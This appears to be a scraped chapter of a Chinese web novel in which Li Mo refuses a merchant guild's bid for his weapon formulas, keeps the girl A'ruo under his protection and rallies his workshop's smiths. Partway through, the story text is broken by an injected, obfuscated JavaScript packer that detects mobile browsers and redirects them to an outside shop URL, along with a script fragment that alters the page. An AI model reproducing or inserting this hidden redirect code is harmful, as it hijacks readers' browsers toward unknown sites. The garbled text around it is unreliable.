黑衣人被放走的第三天，将作监来了一个人。
不是裴氏的，也不是冯道派来的。是个生面孔，四十来岁，穿着商人的袍子，身后跟着两个挑担子的伙计。他站在门口，笑眯眯地递上一张拜帖。
孙二接过拜帖，看了一眼，脸色变了。
“江南商会的人。”他把拜帖递给李默，压低声音，“来者不善。”
李默接过拜帖。上面写着三个字：钱通
“江南商会的人来干什么？”
“不知道。”孙二说，“但他们不做亏本的买卖。来，肯定有事。”
李默沉默了一会儿，说：
“让他进来。”
---
钱通走进院子的时候，脸上的笑容没断过。
他是个胖子，但不是三爷那种油腻的胖——是那种和气生财的胖，白白净净，笑起来眼睛眯成一条缝，让人看了就生不出防备。
“李大人！”他一进门就拱手，“久仰久仰！在下钱通，江南商会汴梁分号的掌柜。早听说将作监来了个能人，一直想来拜会，今天总算得空了！”
李默没动。
“钱掌柜有什么事？”
钱通笑容不变，从袖子里摸出一个锦盒，双手递上。
“一点薄礼，不成敬意。”
李默没接。
“无功不受禄。”
“哎——”钱通把锦盒往他手里塞，“李大人这话就见外了。咱们江南商会，最喜欢结交有本事的人。您在将作监干的那些事，我们都听说了。炼硝、打铁、带着这些弟兄们自力更生——了不得！了不得！”
李默接过锦盒，打开看了一眼。
里面躺着两根金条。
他把锦盒合上，递回去。
“钱掌柜，有话直说。”
钱通的笑容僵了一下，但很快又恢复了。
“李大人快人快语，那在下就直说了。”他收起锦盒，往四周看了看，“借一步说话？”
李默想了想，点了点头。
他把钱通带进屋里，关上门。
钱通坐下来，脸上的笑容淡了一点，换成一种推心置腹的表情。
“李大人，您在将作监干的事，我们都看在眼里。裴氏那边的事，我们也听说了。说实话，这汴梁城里，敢跟裴氏对着干的人，您是头一个。”
李默没说话。
“但您也得承认，”钱通压低声音，“您现在是站在悬崖边上。裴氏那边，不会善罢甘休。这次派三个，下次可能就是三十个。您这将作监，拢共二十来个人，能挡几次？”
李默看着他。
“钱掌柜想说什么？”
钱通凑近一点。
“我们江南商会，愿意帮您。”
“怎么帮？”
“简单。”钱通说，“我们出人、出钱、出关系。您在明，我们在暗。裴氏的人再来，我们帮您挡。朝中有人为难您，我们帮您摆平。甚至——您需要的那些材料，硝石、铁锭、煤炭，我们都能给您送来，比裴氏的便宜，比裴氏的好。”
李默沉默了一会儿。
“条件呢？”
钱通笑了。
“李大人聪明。条件也简单——您做的那些东西，震天雷、火蒺藜、还有那些我们不知道的东西，卖给我们一份。”
他看着李默，眼睛里有一道光。
“不白要。我们出钱买。一份配方，一千两银子。您有多少，我们收多少。”
李默没说话。
屋里很静，静得能听见外面的打铁声。
“钱掌柜。”李默说，“你们要配方干什么？”
钱通的笑容不变。
“做生意。江南商会做的是天下的生意。西域、漠北、南洋，都有我们的船，我们的商队。您这些东西，拿到外面去，能换十倍百倍的价钱。”
他看着李默。
“李大人，您想想。您在这儿累死累活，一年能挣多少？朝廷给您的俸禄，够养活这几个人吗？裴氏那边还天天盯着您。何苦呢？”
李默站起来。
“钱掌柜，请回吧。”
钱通愣了一下。
“李大人，您不再考虑考虑？”
“不用考虑。”李默说，“配方不卖。”
钱通看着他，笑容慢慢收起来。
“李大人，您这是何必？我们不是裴氏，我们是来帮您的。”
“我知道。”李默说，“但配方不卖。”
钱通沉默了一会儿。
然后他站起来，拍了拍袍子。
“李大人，在下说句不该说的——您这脾气，迟早吃亏。”
他往外走，走到门口又停下来。
“对了，有一件事，顺便告诉您。”他没回头，“那个叫阿箬的女孩，我们知道她是谁。裴家二房的余孽。您留着她，迟早是个麻烦。”
李默的手攥紧了。
“还有，”钱通回头看了他一眼，“您那个徒弟，阿钝——挺机灵的孩子。小心点，别让人拐走了。”
门关上了。
李默站在屋里，听着脚步声渐渐远去。
---
夜里，李默把阿箬叫到院子里。
月光还是那么亮。阿箬蹲在墙根，抱着膝盖，看着他。
“钱通说的那些话，你听见了？”
阿箬点了点头。
“他说我是麻烦。”
李默没说话。
“他说得对。”阿箬说，“我是麻烦。裴氏的人知道我在这儿，不会放过我。你留着我，会连累你。”
李默看着她。
“你想走？”
阿箬沉默了一会儿。
“你想让我走吗？”
李默没回答。
他蹲下来，平视着她的眼睛。
“阿箬。”他说，“我问你一件事。”
“嗯。”
“那天晚上，你捅死那个胖子，跑出来之后，为什么跟着我们？”
阿箬看着他，月光照在她脸上，照出那道疤。
“因为你看我的眼神。”她说，“和别人不一样。”
“哪里不一样？”
“别人看我，像看货。”她说，“你看我，像看人。”
这句话她说过一遍。那时候李默没太在意。现在——
现在他听进去了。
“就因为这个？”
阿箬想了想。
“还因为，”她说，“你身上有股味。”
李默愣了一下。
“什么味？”
“和我娘一样的味。”阿箬说，“死过很多次、但还想活着的味。”
李默没说话。
月光照在他们中间，照出一地惨白。
“阿箬。”他说。
“嗯。”
“你知道什么叫‘技术’吗？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401598|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
阿箬摇头。
“技术就是，”李默说，“让那些想活着的人，能活得更久一点。”
他看着她的眼睛。
“你想学吗？”
阿箬的眼睛里，冷的那一层下面，有光在动。
“想。”
“那就留下。”李默说，“不管谁来，不管他们说什么。”
阿箬看着他。
月光下，她的眼睛里第一次有了别的东西——不是冷，不是恨，是一种李默叫不出名字的光。
“好。”她说。
---
第二天一早，李默把所有人都叫到院子里。
二十一个人，站成三排。老的，病的，小的，全在。
孙二站在旁边，抱着胳膊，脸上写着“你又想干啥”。
李默站在他们面前。
“昨天江南商会的人来了。”他说，“想买咱们的配方。一千两银子一份。”
没人说话。
“我没卖。”
还是没人说话。
“但他们会再来。”李默说，“裴氏也会再来。还有其他人。这个世道，谁手里有铁，谁说了算。咱们现在有铁了，就会有越来越多的人来找咱们。”
他看着那些人的眼睛。
“我可以走。”他说，“一个人走，躲到没人找得到的地方。但我没走。”
“为什么？”周老倔问。
李默想了想。
“因为走了，”他说，“那些死在火里的人，就白死了。”
周老倔的眼睛红了。
“还有，”李默说，“我想看看，咱们这些人，到底能走多远。”
他顿了顿。
“从今天起，将作监改个规矩。”
所有人都竖起耳朵。
“想走的，现在走。我发路费，够你们活半年。”
没人动。
“想留的，留下。但留下就得干活，干活就得学。学会的，以后就是我徒弟。学不会的，继续干，干到会为止。”
他看着那些铁匠。
“还有——以后不管谁来，不管他们说什么，咱们不卖配方，不卖手艺，不卖人。谁要是卖，我亲手送他去见裴氏的人。”
院子里很静。
然后周老倔往前走了一步。
“李头儿，你说啥是啥。我这条命，以后就是你的。”
其他铁匠跟着往前走。
“我也是！”
“我也是！”
声音越来越大，越来越乱，最后变成一片嗡嗡的嘈杂。
李默站在那里，听着这些喊声。
孙二走过来，站到他旁边。
“行了。”他说，“这些人，以后你甩不掉了。”
李默没说话。
他看着那些铁匠的脸。老的，病的，小的，脸上都有一种他从没见过的东西。
那不是感激。
是一种更复杂的东西——像是找到了活着的理由。
远处，阿箬蹲在柴房门口，手里拿着那把短刀，一下一下地擦着。
阿钝站在她旁边，眼睛亮亮的，不知道在说什么。
阳光照在他们身上，照出一层淡淡的暖意。
李默忽然想起冯道说的那句话——
“老夫想要这个世道，少一点人油灯。”
他抬起头，看着天上的太阳。
这条路，还长着呢。